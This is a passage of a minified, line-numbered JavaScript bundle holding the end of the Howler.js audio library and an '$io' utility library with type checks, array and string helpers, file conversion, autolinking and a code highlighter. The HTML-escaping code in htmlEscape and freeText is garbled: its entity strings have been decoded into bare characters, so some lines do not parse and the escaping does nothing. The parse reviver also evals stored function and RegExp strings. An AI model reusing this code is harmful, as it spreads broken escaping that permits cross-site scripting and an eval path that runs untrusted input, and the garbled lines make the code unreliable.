1899 return n[t] = void 0 === o.createGain ? o.createGainNode() : o.createGain(), n[t].gain.value = e._volume, n[t].paused = !0, n[t]._pos = 0, n[t].readyState = 4, n[t].connect(r), n[t].panner = o.createPanner(), n[t].panner.panningModel = e._model || "equalpower", n[t].panner.setPosition(e._pos3d[0], e._pos3d[1], e._pos3d[2]), n[t].panner.connect(n[t]), n[t]
1900 },
1901 on: function(e, o) {
1902 var n = this,
1903 t = n["_on" + e];
1904 if ("function" == typeof o) t.push(o);
1905 else
1906 for (var r = 0; r < t.length; r++) o ? t[r].call(n, o) : t[r].call(n);
1907 return n
1908 },
1909 off: function(e, o) {
1910 var n = this,
1911 t = n["_on" + e],
1912 r = o ? o.toString() : null;
1913 if (r) {
1914 for (var a = 0; a < t.length; a++)
1915 if (r === t[a].toString()) {
1916 t.splice(a, 1);
1917 break
1918 }
1919 } else n["_on" + e] = [];
1920 return n
1921 },
1922 unload: function() {
1923 for (var o = this, n = o._audioNode, t = 0; t < o._audioNode.length; t++) n[t].paused || (o.stop(n[t].id), o.on("end", n[t].id)), o._webAudio ? n[t].disconnect(0) : n[t].src = "";
1924 for (t = 0; t < o._onendTimer.length; t++) clearTimeout(o._onendTimer[t].timer);
1925 var r = d._howls.indexOf(o);
1926 null !== r && r >= 0 && d._howls.splice(r, 1), delete e[o._src], o = null
1927 }
1928 }, n) var f = function(o, n) {
1929 if (n in e) return o._duration = e[n].duration, void s(o);
1930 if (/^data:[^;]+;base64,/.test(n)) {
1931 for (var t = atob(n.split(",")[1]), r = new Uint8Array(t.length), a = 0; a < t.length; ++a) r[a] = t.charCodeAt(a);
1932 _(r.buffer, o, n)
1933 } else {
1934 var i = new XMLHttpRequest;
1935 i.open("GET", n, !0), i.responseType = "arraybuffer", i.onload = function() {
1936 _(i.response, o, n)
1937 }, i.onerror = function() {
1938 o._webAudio && (o._buffer = !0, o._webAudio = !1, o._audioNode = [], delete o._gainNode, delete e[n], o.load())
1939 };
1940 try {
1941 i.send()
1942 } catch (e) {
1943 i.onerror()
1944 }
1945 }
1946 },
1947 _ = function(n, t, r) {
1948 o.decodeAudioData(n, function(o) {
1949 o && (e[r] = o, s(t, o))
1950 }, function(e) {
1951 t.on("loaderror")
1952 })
1953 },
1954 s = function(e, o) {
1955 e._duration = o ? o.duration : e._duration, 0 === Object.getOwnPropertyNames(e._sprite).length && (e._sprite = {
1956 _default: [0, 1e3 * e._duration]
1957 }), e._loaded || (e._loaded = !0, e.on("load")), e._autoplay && e.play()
1958 },
1959 c = function(n, t, r) {
1960 var a = n._nodeById(r);
1961 a.bufferSource = o.createBufferSource(), a.bufferSource.buffer = e[n._src], a.bufferSource.connect(a.panner), a.bufferSource.loop = t[0], t[0] && (a.bufferSource.loopStart = t[1], a.bufferSource.loopEnd = t[1] + t[2]), a.bufferSource.playbackRate.value = n._rate
1962 };
1963"function" == typeof define && define.amd && define(function() {
1964 return {
1965 Howler: d,
1966 Howl: l
1967 }
1968}), "undefined" != typeof exports && (exports.Howler = d, exports.Howl = l), "undefined" != typeof window && (window.Howler = d, window.Howl = l)
1969}();
1970//js/noop.js
1971function $noop(n) {}
1972//js/delegate.js
1973! function(e) {
1974"use strict";
1975
1976function t(e, t) {
1977 return function(o) {
1978 for (var c = o.target; c && 1 === c.nodeType && !c.matches(e);) c = c.parentNode;
1979 if (!c || 1 !== c.nodeType) return !1;
1980 t.call(c, o)
1981 }
1982}! function(e) {
1983 Element && !e.matches && (e.matches = e.matchesSelector || e.mozMatchesSelector || e.msMatchesSelector || e.oMatchesSelector || e.webkitMatchesSelector)
1984}(Element.prototype), t.get = function(e, t) {
1985 for (var o = e.target; o && 1 === o.nodeType && !o.matches(t);) o = o.parentNode;
1986 return !(!o || 1 !== o.nodeType) && o
1987}, e.$delegate = t
1988}(this);
1989//js/io.js
1990! function(global) {
1991"use strict";
1992
1993function getType(r) {
1994 return _toString.call(r).slice(8, -1)
1995}
1996
1997function isArrayLike(r) {
1998 return "object" == typeof r && "number" == typeof r.length || !1
1999}
2000
2001function isString(r) {
2002 return "string" == typeof r || !1
2003}
2004
2005function isFunction(r) {
2006 return "function" == typeof r || !1
2007}
2008
2009function isObject(r) {
2010 return (!r || "object" == typeof r && null !== r) && "[object Object]" == _toString.call(r)
2011}
2012
2013function isNumber(r) {
2014 return "number" == typeof r && isFinite(r) || !1
2015}
2016
2017function isRegExp(r) {
2018 return r && "object" == typeof r && "[object RegExp]" == _toString.call(r) || !1
2019}
2020
2021function isArguments(r) {
2022 return r && "number" == typeof r.length && "[object Arguments]" == _toString.call(r) || !1
2023}
2024
2025function isNative(r) {
2026 return isFunction(r) && ("" + r).indexOf("[native code]") >= 0
2027}
2028
2029function isError(r) {
2030 return r && "object" == typeof r && "[object Error]" == _toString.call(r) || !1
2031}
2032
2033function isPrototype(r) {
2034 var t;
2035 return r && (t = r.constructor) && "function" == typeof t && t.prototype == r
2036}
2037
2038function isElement(r) {
2039 return r && 1 === r.nodeType || !1
2040}
2041
2042function isReallyNaN(r) {
2043 return "[object Number]" == _toString.call(r) && r != +r
2044}
2045
2046function isInfinity(r) {
2047 return "[object Number]" == _toString.call(r) && !isFinite(r)
2048}
2049
2050function isWindow(r) {
2051 var t = _toString.call(r);
2052 return "[object global]" == t || "[object Window]" == t || "[object DOMWindow]" == t
2053}
2054
2055function isDocument(r) {
2056 var t = _toString.call(r);
2057 return "[object HTMLDocument]" == t || "[object Document]" == t
2058}
2059
2060function isNodeList(r) {
2061 var t = _toString.call(r);
2062 return "object" == typeof r && ("[object HTMLCollection]" == t || "[object NodeList]" == t || "[object Object]" == t && r.hasOwnProperty("length") && (0 === r.length || "object" == typeof r[0] && r[0].nodeType > 0))
2063}
2064
2065function isJSON(r) {
2066 var t = !1;
2067 return isString(r) || isNumber(r) || "boolean" == typeof r || null === r || void 0 === r ? t = !0 : isArray(r) ? arrEach(r, function(r) {
2068 return t = isJSON(r)
2069 }) : isObject(r) && objEach(r, function(r) {
2070 return t = isJSON(r)
2071 }), t
2072}
2073
2074function is(r) {
2075 var t = typeof r;
2076 return "string" == t ? "String" : "boolean" == t ? "Boolean" : "function" == t ? "Function" : null === r ? "Null" : void 0 === r ? "Undefined" : isNumber(r) ? "Number" : isReallyNaN(r) ? "NaN" : isElement(r) ? "Element" : isArray(r) ? "Array" : isArguments(r) ? "Arguments" : isInfinity(r) ? "Infinity" : isError(r) ? "Error" : isNodeList(r) ? "NodeList" : isWindow(r) ? "Window" : isDocument(r) ? "Document" : r.constructor.name || _toString.call(r).slice(8, -1)
2077}
2078
2079function nativeEqual(r, t) {
2080 if (typeof r == typeof t && r + "" == t + "") return !0
2081}
2082
2083function keys(r) {
2084 return r ? Object.keys(r) : []
2085}
2086
2087function objEqual(r, t) {
2088 var n, e, i;
2089 for (n in r) {
2090 if (e = r[n], i = t[n], r.hasOwnProperty(n) != t.hasOwnProperty(n)) return !1;
2091 if (typeof e != typeof i) return !1
2092 }
2093 for (n in t) {
2094 if (e = r[n], i = t[n], !r.hasOwnProperty(n)) return !1;
2095 if (e !== i) {
2096 if (typeof e != typeof i) return !1;
2097 if (t.hasOwnProperty(n) && !(isArrayLike(e) && isArrayLike(i) && arrEqual(e, i) || isObject(e) && isObject(i) && objEqual(e, i) || nativeEqual(e, i))) return !1
2098 }
2099 }
2100 return !0
2101}
2102
2103function objAll(r, t) {
2104 var n;
2105 for (n in r) r.hasOwnProperty(n) && t(r[n], n)
2106}
2107
2108function objEach(r, t) {
2109 var n;
2110 for (n in r)
2111 if (r.hasOwnProperty(n) && !1 === t(r[n], n)) break
2112}
2113
2114function obj2str(r) {
2115 try {
2116 return JSON.stringify(r, null, 2)
2117 } catch (n) {
2118 try {
2119 var t = [];
2120 return $io.arr.all(r, function(r) {
2121 t.push(r)
2122 }), "[" + t.join(", ") + "]"
2123 } catch (r) {
2124 return "[Error]"
2125 }
2126 }
2127}
2128
2129function flatten(r, t, n) {
2130 var e = {};
2131 return function r(n, i) {
2132 for (var o, a, u = 0, c = Object.keys(n), s = c.length; u < s; u++) isObject(a = n[o = c[u]]) ? r(a, i + o + (t || ".")) : e[i + o] = a
2133 }(r, ""), e
2134}
2135
2136function getPath(r, t, n) {
2137 if ("string" == typeof t) {
2138 if (n = n || ".", !t || t === n) return r;
2139 var e = 0,
2140 i = $io.reg.escape(n),
2141 o = new RegExp("^" + i + "|" + i + "$", "gi");
2142 for (t = t.replace(o, "").split(n); r && e < t.length;) r = r[t[e++]];
2143 return r
2144 }
2145 if (isRegExp(t)) {
2146 var a = flatten(r, n),
2147 u = {};
2148 return $io.arr.all(Object.keys(a), function(r) {
2149 t.test(r) && (u[r] = a[r])
2150 }), u
2151 }
2152}
2153
2154function path(r, t, n) {
2155 var e = "string" == typeof this ? this : ".";
2156 if (!t || t === e) return r;
2157 var i = 0,
2158 o = $io.reg.escape(e),
2159 a = new RegExp("^" + o + "|" + o + "$", "gi");
2160 for (t = t.replace(a, "").split(e); r && i < t.length;) r = void 0 !== r[t[i]] ? i === t.length - 1 && arguments.length > 2 ? r[t[i]] = n : r[t[i]] : arguments.length > 2 ? r[t[i]] = i === t.length - 1 ? n : {} : void 0, i++;
2161 return r
2162}
2163
2164function arrEqual(r, t) {
2165 var n, e, i = r.length;
2166 if (i != t.length) return !1;
2167 for (; i--;)
2168 if (n = r[i], e = t[i], n !== e && !(isArrayLike(n) && isArrayLike(e) && arrEqual(n, e) || isObject(n) && isObject(e) && objEqual(n, e) || nativeEqual(n, e))) return !1;
2169 return !0
2170}
2171
2172function arrAll(r, t) {
2173 if (r)
2174 for (var n = -1, e = r.length; ++n < e;) t(r[n])
2175}
2176
2177function arrEach(r, t) {
2178 if (r)
2179 for (var n = -1, e = r.length; ++n < e && !1 !== t(r[n], n, r););
2180}
2181
2182function arrReduce(r, t, n) {
2183 for (var e = n, i = 0, o = r.length; i < o; i++) e = t(e, r[i], i, r);
2184 return e
2185}
2186
2187function arrRandom(r) {
2188 return r[Math.floor(Math.random() * r.length)]
2189}
2190
2191function arrInsert(r, t, n) {
2192 return r.splice.apply(r, [n, 0].concat(t)), r
2193}
2194
2195function arrLimit(r, t, n) {
2196 return r.push(n), r.length > t && r.shift(), r
2197}
2198
2199function arr2str(r) {
2200 for (var t = "[", n = 0, e = r.length; n < e; n++) "string" == typeof r[n] ? t += '"' + r[n].replace(/"/g, '\\"') + '"' : _io.isArray(r[n]) ? t += arr2str(r[n]) : t += r[n], n < e - 1 && (t += ", ");
2201 return t += "]"
2202}
2203
2204function arrRemove(r, t, n) {
2205 var e = r.slice((n || t) + 1 || r.length);
2206 return r.length = t < 0 ? r.length + t : t, r.push.apply(r, e)
2207}
2208
2209function arrShuffle(r) {
2210 var t, n, e;
2211 for (e = r.length; e; e--) t = Math.floor(Math.random() * e), n = r[e - 1], r[e - 1] = r[t], r[t] = n
2212}
2213
2214function fn2str(r, t) {
2215 return r && "function" == typeof r ? t(r) : "_not_a_function_"
2216}
2217
2218function fnStr(r, t) {
2219 return fn2str(r, function() {
2220 var n = t ? /^function[\W\w]*?{/ : null,
2221 e = t ? /\s*\}$/ : null,
2222 i = r.toString().replace(n, "").replace(e, ""),
2223 o = i.match(/(^\s*)/gm),
2224 a = o ? o.length > 1 ? o.slice(1).reduce(function(r, t) {
2225 return r.length < t.length ? r : t
2226 }) : o[0] : "";
2227 return _io.str.trim(i.replace(new RegExp("^" + i.match(a), "gm"), ""))
2228 })
2229}
2230
2231function fnName(r) {
2232 return r.name ? r.name : fn2str(r, function() {
2233 var t = r.toString().match(/^\s*function ([^\(\s]+)/);
2234 return t && t[1] || "anonymous"
2235 })
2236}
2237
2238function fnArg(r) {
2239 return r.length ? fn2str(r, function() {
2240 var t = r.toString().replace(/((\/\/.*$)|(\/\*[\s\S]*?\*\/))/gm, ""),
2241 n = t.slice(t.indexOf("(") + 1, t.indexOf(")")).match(/([^\s,]+)/g);
2242 return null === n ? [] : n
2243 }) : []
2244}
2245
2246function x(r) {
2247 timerID = setTimeout(function() {
2248 var r = queue.pop();
2249 r[0](), queue.length && x(r[1])
2250 }, r)
2251}
2252
2253function arg2arr(r) {
2254 return _slice.call(r)
2255}
2256
2257function readWithFileReader(r, t, n) {
2258 var e = new FileReader;
2259 e.onloadend = function() {
2260 n(e.result)
2261 }, e[r](t)
2262}
2263
2264function readAsArrayBuffer(r, t) {
2265 readWithFileReader("readAsArrayBuffer", r, t)
2266}
2267
2268function readAsText(r, t) {
2269 readWithFileReader("readAsText", r, t)
2270}
2271
2272function readAsBinaryString(r, t) {
2273 readWithFileReader("readAsBinaryString", r, t)
2274}
2275
2276function readAsDataURL(r, t) {
2277 readWithFileReader("readAsDataURL", r, t)
2278}
2279
2280function convertToBlob(r, t, n) {
2281 t(new Blob([r], {
2282 type: n || "text/plain; charset=UTF-8"
2283 }))
2284}
2285
2286function returnURL(r, t) {
2287 t(window.URL.createObjectURL(r))
2288}
2289
2290function returnSelf(r, t) {
2291 t(r)
2292}
2293
2294function tryStringify(r, t) {
2295 try {
2296 t(JSON.stringify(r))
2297 } catch (n) {
2298 try {
2299 t(stringify(r))
2300 } catch (r) {
2301 _io.onerror(r)
2302 }
2303 }
2304}
2305
2306function tryParse(r, t) {
2307 try {
2308 t(JSON.parse(r))
2309 } catch (n) {
2310 try {
2311 t(parse(r))
2312 } catch (r) {
2313 _io.onerror(r)
2314 }
2315 }
2316}
2317
2318function stringifyReplacer(r, t) {
2319 return t instanceof Function || "function" == typeof t ? t.toString() : t instanceof RegExp ? "²RegExp²" + t : t instanceof Date ? "²Date__²" + t.getTime() : t
2320}
2321
2322function stringify(r, t) {
2323 return t = t || 0, r = stringifyReplacer(null, r), JSON.stringify(r, stringifyReplacer, t)
2324}
2325
2326function parseReplacer(key, value) {
2327 if ("string" != typeof value || value.length < 8) return value;
2328 var prefix = value.substring(0, 8);
2329 return "function" === prefix ? eval("(" + value + ")") : "²Date__²" === prefix ? new Date(1 * value.slice(8)) : "²RegExp²" === prefix ? eval(value.slice(8)) : value
2330}
2331
2332function parse(r) {
2333 return r = parseReplacer(null, r), JSON.parse(r, parseReplacer)
2334}
2335
2336function clone(r) {
2337 return parse(stringify(r))
2338}
2339var _toString = Object.prototype.toString,
2340 _fnToString = Function.prototype.toString,
2341 _hasOwnProperty = Object.prototype.hasOwnProperty,
2342 _slice = Array.prototype.slice,
2343 _io = {};
2344_io.onerror = function(r) {
2345 console.log("$io error : ", r)
2346}, _io.type = getType;
2347var isArray = isNative(Array.isArray) ? Array.isArray : function(r) {
2348 return r && "object" == typeof r && "number" == typeof r.length && "[object Array]" == _toString.call(r) || !1
2349};
2350_io.is = is, _io.is.arr = _io.is.Array = _io.isArray = isArray, _io.is.str = _io.is.String = _io.isString = isString, _io.is.fun = _io.is.Function = _io.isFunction = isFunction, _io.is.obj = _io.is.Object = _io.isObject = isObject, _io.is.num = _io.is.Number = _io.isNumber = isNumber, _io.is.reg = _io.is.RegExp = _io.isRegExp = isRegExp, _io.is.arg = _io.is.Arguments = _io.isArguments = isArguments, _io.is.inf = _io.is.Infinity = _io.isInfinity = isInfinity, _io.is.nan = _io.is.NaN = _io.isReallyNaN = isReallyNaN, _io.is.nat = _io.is.Native = _io.isNative = isNative, _io.is.err = _io.is.Error = _io.isError = isError, _io.is.pro = _io.is.Prototype = _io.isPrototype = isPrototype, _io.is.ele = _io.is.Element = _io.isElement = isElement, _io.is.win = _io.is.Window = _io.isWindow = isWindow, _io.is.doc = _io.is.Document = _io.isDocument = isDocument, _io.is.nodelist = _io.isNodeList = isNodeList, _io.is.json = _io.isJSON = isJSON, _io.obj = _io.Object = {}, _io.obj.all = objAll, _io.obj.each = objEach, _io.obj.equal = objEqual, _io.obj.stringify = obj2str, _io.obj.getPath = getPath, _io.obj.path = path, _io.obj.flatten = flatten, _io.obj.clear = function(r) {
2351 for (var t in r) r.hasOwnProperty(t) && delete r[t];
2352 return r
2353}, _io.obj.isEmpty = function(r) {
2354 for (var t in r)
2355 if (r.hasOwnProperty(t)) return !1;
2356 return !0
2357}, _io.arr = _io.Array = {}, _io.arr.stringify = arr2str, _io.arr.all = arrAll, _io.arr.each = arrEach, _io.arr.equal = arrEqual, _io.arr.reduce = arrReduce, _io.arr.random = arrRandom, _io.arr.shuffle = arrShuffle, _io.arr.insert = arrInsert, _io.arr.limit = arrLimit, _io.arr.remove = arrRemove, _io.arr.move = function(r, t, n) {
2358 var e = r.indexOf(t);
2359 if (-1 !== e) {
2360 var i = r.splice(e, 1),
2361 n = e + n > 0 ? e + n : 0;
2362 i.length && r.splice(n, 0, i[0])
2363 }
2364}, _io.arr.up = function(r, t) {
2365 var n = r.indexOf(t);
2366 if (-1 !== n && n !== r.length - 1) {
2367 var e = r.splice(n + 1, 1, t);
2368 e.length && r.splice(n, 1, e[0])
2369 }
2370}, _io.arr.down = function(r, t) {
2371 var n = r.indexOf(t);
2372 if (!(n <= 0)) {
2373 var e = r.splice(n - 1, 1, t);
2374 e.length && r.splice(n, 1, e[0])
2375 }
2376}, _io.arr.bottom = function(r, t) {
2377 var n = r.indexOf(t);
2378 if (!(n <= 0)) {
2379 var e = r.splice(n, 1);
2380 e.length && r.unshift(e[0])
2381 }
2382}, _io.arr.top = function(r, t) {
2383 var n = r.indexOf(t);
2384 if (-1 !== n && n !== r.length - 1) {
2385 var e = r.splice(n, 1);
2386 e.length && r.push(e[0])
2387 }
2388}, _io.arr.enum = function(r, t) {
2389 function n() {
2390 0 == --a && "function" == typeof e && e(), "function" == typeof i && i(100 - a / u * 100, a, u)
2391 }
2392 var e, i, o, a = 0,
2393 u = 0;
2394 return (0 === r.length || 1 === r.length && 0 === r[0].length) && setImmediate(function() {
2395 "function" == typeof e && e()
2396 }), $io.arr.each(r, function(r, e) {
2397 u += r.length, $io.arr.each(r, function(r, i) {
2398 a++, setImmediate(function() {
2399 t.call({
2400 list: e,
2401 index: a
2402 }, r, i, n)
2403 })
2404 })
2405 }), o = {
2406 progress: function(r) {
2407 return i = r, o
2408 },
2409 done: function(r) {
2410 return e = r, o
2411 }
2412 }
2413}, _io.enum = function(r, t, n) {
2414 function e(r) {
2415 0 == --i && n()
2416 }(0 === r.length || 1 === r.length && 0 === r[0].length) && n();
2417 var i = 0;
2418 $io.arr.each(r, function(r, n) {
2419 var o = $io.is(r);
2420 "Array" === o || "Object" === o ? $io[o].each(r, function(r, o) {
2421 i++, setImmediate(function() {
2422 t.call({
2423 list: n,
2424 index: i
2425 }, r, o, e)
2426 })
2427 }) : "Function" === o ? (i++, setImmediate(function() {
2428 r.call({
2429 list: n,
2430 index: i
2431 }, e)
2432 })) : (i++, setImmediate(function() {
2433 t.call({
2434 list: n,
2435 index: i
2436 }, r, n, e)
2437 }))
2438 })
2439}, _io.str = _io.String = {}, _io.str.insertAt = function(r, t, n) {
2440 return r.substr(0, n) + t + r.substr(n + t.length)
2441}, _io.str.replaceAt = function(r, t, n, e) {
2442 return r.substr(0, e) + n + r.substr(e + t.length)
2443}, _io.str.truncate = function(r, t) {
2444 return r.length > t ? r.slice(0, t) + "..." : r
2445}, _io.str.slug = function(r) {
2446 return r.toLowerCase().replace(/\s+/g, "-").replace(/[^-\w]/g, "")
2447}, _io.str.trim = function(r) {
2448 var t, n;
2449 for (t = 0, n = r.length - 1; t <= n && r.charCodeAt(t) < 33; t++);
2450 for (; n >= t && r.charCodeAt(n) < 33; n--);
2451 return r.substring(t, n + 1)
2452}, _io.str.camel = function(r) {
2453 return r.replace(/(\-[a-z])/g, function(r) {
2454 return r.toUpperCase().replace("-", "")
2455 })
2456}, _io.str.dash = function(r) {
2457 return r.replace(/([A-Z])/g, function(r) {
2458 return "-" + r.toLowerCase()
2459 })
2460}, _io.str.capitalise = function(r) {
2461 return r.charAt(0).toUpperCase() + r.slice(1)
2462}, _io.str.htmlEscape = function(r) {
2463 return String(r).replace(/&/g, "&").replace(/"/g, """).replace(/'/g, "'").replace(/</g, "<").replace(/>/g, ">")
2464}, _io.fn = {}, _io.fn.str = fnStr, _io.fn.outer = fnStr, _io.fn.inner = function(r) {
2465 return fnStr(r, !0)
2466}, _io.fn.name = fnName, _io.fn.arg = fnArg, _io.fn.prop = _io.fn.keys = function(r) {
2467 return r ? Object.keys(r) : []
2468}, _io.fn.method = _io.fn.meth = function(r) {
2469 for (var t = Object.keys(r), n = -1, e = t.length, i = {}; ++n < e;) i[t[n]] = r[t[n]];
2470 return i
2471}, _io.fn.throttle = function(r, t) {
2472 t = t > 0 ? t : 100;
2473 var n;
2474 return function() {
2475 var e = arguments,
2476 i = this;
2477 n || (n = setTimeout(function() {
2478 return n = 0, r.apply(i, e)
2479 }, t))
2480 }
2481}, _io.fn.debounce = function(r, t) {
2482 t = t > 0 ? t : 100;
2483 var n, e, i;
2484 return function() {
2485 e = this, i = _slice.call(arguments, 0), clearTimeout(n), n = setTimeout(function() {
2486 r.apply(e, i)
2487 }, t)
2488 }
2489}, _io.fn.leading = function(r, t) {
2490 t = t > 0 ? t : 100;
2491 var n, e, i;
2492 return function() {
2493 e = this, i = _slice.call(arguments, 0), n || r.apply(e, i), clearTimeout(n), n = setTimeout(function() {
2494 r.apply(e, i)
2495 }, t)
2496 }
2497};
2498var queue = [],
2499 timerID;
2500_io.fn.queue = function(r, t) {
2501 t = t || 10, queue.push([r, t]), clearTimeout(timerID), x(t)
2502}, _io.fn.proxy = function(r, t) {
2503 var n = r;
2504 return function() {
2505 !1 !== t.apply(this, arguments) && n.apply(this, arguments)
2506 }
2507}, _io.arg = {}, _io.arg.arr = arg2arr, _io.reg = {}, _io.reg.escape = function(r) {
2508 return r.replace(/[-[\]{}()*+?.\\\/^$|]/g, "\\$&")
2509}, _io.xml = {}, _io.xml.parse = function(r) {
2510 var t;
2511 return window.DOMParser ? t = (new DOMParser).parseFromString(r, "text/xml") : ((t = new ActiveXObject("Microsoft.XMLDOM")).async = "false", t.loadXML(r)), t
2512}, _io.equal = function(r, t) {
2513 return r === t || (isArrayLike(r) ? arrEqual(r, t) : isObject(r) ? objEqual(r, t) : !!nativeEqual(r, t))
2514}, _io.each = function(r, t, n) {
2515 if (r)
2516 if (isObject(r)) {
2517 for (var e in r)
2518 if (_hasOwnProperty.call(r, e) && !1 === t.call(n, r[e], e, r)) break
2519 } else
2520 for (var e = 0, i = r.length; e < i && !1 !== t.call(n, r[e], e, r); e++);
2521}, _io.map = function(r, t, n, e, i, o) {
2522 var a = [];
2523 return _io.each(r, function(r, u, c) {
2524 if (!(o && o.indexOf(u) > -1))
2525 if (n && (isArray(r) || isObject(r))) a = a.concat(_io.map(r, t, n, (e ? e + (i || ".") : "") + u, i, o));
2526 else {
2527 var s = t(r, u, c, e);
2528 s && a.push(s)
2529 }
2530 }), a
2531}, _io.find = function(r, t, n, e, i) {
2532 var o, a = e || ".",
2533 u = _io.obj.getPath(n, t, a);
2534 return t.slice(-1) !== a && (t += a), t.slice(0, 1) !== a && (t = a + t), r.replace(/^\/(.*)\/(.{0,4})$/, function(t, n, e) {
2535 n && (r = e ? new RegExp(n, e) : new RegExp(n))
2536 }), o = _io.isRegExp(r) ? r : new RegExp(_io.reg.escape(r), "i"), _io.map(u, function(r, n, e, i) {
2537 var u = (i ? i + a : "") + n;
2538 return !!o.test(u) && t + u
2539 }, !0, null, a, i)
2540}, _io.ArrayBuffer = {
2541 String: function(r, t) {
2542 var n = new DataView(r),
2543 e = (new TextDecoder).decode(n);
2544 return t(e), e
2545 },
2546 Blob: convertToBlob
2547}, _io.Blob = {
2548 String: readAsText,
2549 ArrayBuffer: readAsArrayBuffer,
2550 BinaryString: readAsBinaryString,
2551 DataURL: readAsDataURL,
2552 URL: returnURL
2553}, _io.File = {
2554 String: readAsText,
2555 ArrayBuffer: readAsArrayBuffer,
2556 BinaryString: readAsBinaryString,
2557 DataURL: readAsDataURL,
2558 Blob: convertToBlob,
2559 URL: returnURL
2560}, _io.ArrayBuffer.ArrayBuffer = _io.Blob.Blob = _io.File.File = _io.String.String = _io.Object.Object = _io.Array.Array = returnSelf, _io.ArrayBuffer.Blob = _io.File.Blob = _io.String.Blob = convertToBlob, _io.Object.Blob = _io.Array.Blob = function(r, t, n) {
2561 tryStringify(r, function(r) {
2562 convertToBlob(r, t, n)
2563 })
2564}, _io.String.ArrayBuffer = function(r, t, n) {
2565 convertToBlob(r, function(r) {
2566 readAsArrayBuffer(r, t)
2567 }, n)
2568}, _io.String.BinaryString = _io.ArrayBuffer.BinaryString = function(r, t, n) {
2569 convertToBlob(r, function(r) {
2570 readAsBinaryString(r, t)
2571 }, n)
2572}, _io.String.DataURL = _io.ArrayBuffer.DataURL = function(r, t, n) {
2573 convertToBlob(r, function(r) {
2574 readAsDataURL(r, t)
2575 }, n)
2576}, _io.String.URL = _io.ArrayBuffer.URL = function(r, t, n) {
2577 convertToBlob(r, function(r) {
2578 returnURL(r, t)
2579 }, n)
2580}, _io.Object.ArrayBuffer = _io.Array.ArrayBuffer = function(r, t, n) {
2581 tryStringify(r, function(r) {
2582 _io.String.ArrayBuffer(r, t, n)
2583 })
2584}, _io.Object.BinaryString = _io.Array.BinaryString = function(r, t, n) {
2585 tryStringify(r, function(r) {
2586 _io.String.BinaryString(r, t, n)
2587 })
2588}, _io.Object.DataURL = _io.Array.DataURL = function(r, t, n) {
2589 tryStringify(r, function(r) {
2590 _io.String.DataURL(r, t, n)
2591 })
2592}, _io.Object.URL = _io.Array.URL = function(r, t, n) {
2593 tryStringify(r, function(r) {
2594 _io.String.URL(r, t, n)
2595 })
2596}, _io.String.Object = _io.String.Array = tryParse, _io.Object.String = _io.Array.String = tryStringify, _io.stringify = stringify, _io.parse = parse, _io.clone = clone, global.$io = _io
2597}(this),
2598function(r) {
2599"use strict";
2600
2601function t(r) {
2602 var t = [],
2603 n = 0;
2604 return r.replace(/(?:\(((?:https?:\/\/|www\.)[-A-Za-z0-9+$&@#\/%?=~_()|!:,.;]+[-A-Za-z0-9+$&@#\/%=~_()|])\))/gm, function(r, n) {
2605 return t.push(n), "²_links_in_parens___ktlu_²"
2606 }).replace(/((?:https?:\/\/|www\.)[-A-Za-z0-9+$&@#\/%?=~_()|!:,.;]*[-A-Za-z0-9+$&@#\/%=~_()|])/gm, function(r) {
2607 return '<a target="_blank" href="' + (0 == r.indexOf("http") ? r : "http://" + r) + '">' + r + "</a>"
2608 }).replace(/([\w.]*\w@[\w.]+\w)/gm, '<a href="mailto:$1">$1</a>').replace(RegExp("²_links_in_parens___ktlu_²", "g"), function() {
2609 var r = t[n++];
2610 return '(<a target="_blank" href="' + r + '">' + r + "</a>)"
2611 })
2612}
2613r.$io.str || (r.$io = {
2614 str: {}
2615}), r.$io.str.autolink = t
2616}(this),
2617function(r) {
2618"use strict";
2619
2620function t(r) {
2621 return r = r.replace(/</g, "²_less__²").replace(/>/g, "²_more__²").replace(/&/g, "²_amp__²").replace(/"/g, "²_quot__²").replace(/'/g, "²_squot__²"), r = $io.str.autolink(r), r = r.replace(RegExp("²_amp__²", "g"), "&").replace(RegExp("²_quot__²", "g"), """).replace(RegExp("²_squot__²", "g"), "'").replace(RegExp("²_less__²", "g"), "<").replace(RegExp("²_more__²", "g"), ">")
2622}
2623
2624function n(r, n) {
2625 if ("string" != typeof r) return "";
2626 var e = [],
2627 i = 0,
2628 o = [],
2629 a = 0,
2630 u = [],
2631 c = 0,
2632 s = [],
2633 f = 0;
2634 return (n ? "" : '<code class="language-javascript ui_hilit">') + r.replace(/\/\*[\W\w]*?\*\//g, function(r) {
2635 return o.push(r), "_comment__ktlu_"
2636 }).replace(/([\r\n\s,.;[({=&|!])(\/(?!\/)(?:\[.+?]|\\.|[^\/\r\n])+\/[gimyu]{0,5})(?=\s*($|[\r\n,.;})\]]))/g, function(r, t, n) {
2637 return s.push(n), t + "_regex____ktlu_"
2638 }).replace(/('(\\')?(([^\\]\\'|[^'\n]|\\\n)*)')|("(\\")?(([^\\]\\"|[^"\n]|\\\n)*)")/g, function(r) {
2639 return e.push(r), "_string___ktlu_"
2640 }).replace(/\/\/.*/g, function(r) {
2641 return u.push(r), "_komment__ktlu_"
2642 }).replace(/([+\/\|\^&%!~<>=-]|&|<?|>?)/g, '<span class="sh_operator">$1</span>').replace(/(\$[a-z0-9_$]+)/gi, '<span class="sh_42">$1</span>').replace(/((?!\d)[a-z0-9_$]+)(\s*:\s*function)/gi, '<span class="sh_function">$1</span>$2').replace(/\.((?!\d)[a-z0-9_$]+(?=\())/gi, '.<span class="sh_propfunction">$1</span>').replace(/((?!\d)[a-z0-9_$]+(?=\())/gi, '<span class="sh_function">$1</span>').replace(/([[\]{}().,;:])/g, '<span class="sh_punctuation">$1</span>').replace(/\b-?(0x[\dA-Fa-f]+|\d*\.?\d+([Ee]-?\d+)?|true|false|NaN|-?Infinity)\b/g, '<span class="sh_number">$1</span>').replace(/\b(break|case|catch|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|function|get|if|implements|import|in|instanceof|interface|let|new|null|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|var|void|while|with|yield)\b/g, '<span class="sh_keyword">$1</span>').replace(RegExp("_komment__ktlu_", "g"), function() {
2643 return '<span class="sh_comment">' + t(u[c++] || "") + "</span>"
2644 }).replace(RegExp("_comment__ktlu_", "g"), function() {
2645 return '<span class="sh_comment">' + t(o[a++] || "") + "</span>"
2646 }).replace(RegExp("_string___ktlu_", "g"), function() {
2647 return '<span class="sh_string">' + t(e[i++] || "") + "</span>"
2648 }).replace(RegExp("_regex____ktlu_", "g"), function() {
2649 return '<span class="sh_keyword2">' + t(s[f++] || "") + "</span>"
2650 }) + (n ? "" : "</code>")
2651}
2652r.$io.str || (r.$io = {
2653 str: {}
2654}), r.$io.str.hilit = n, r.$io.str.freeText = t
2655}(this);
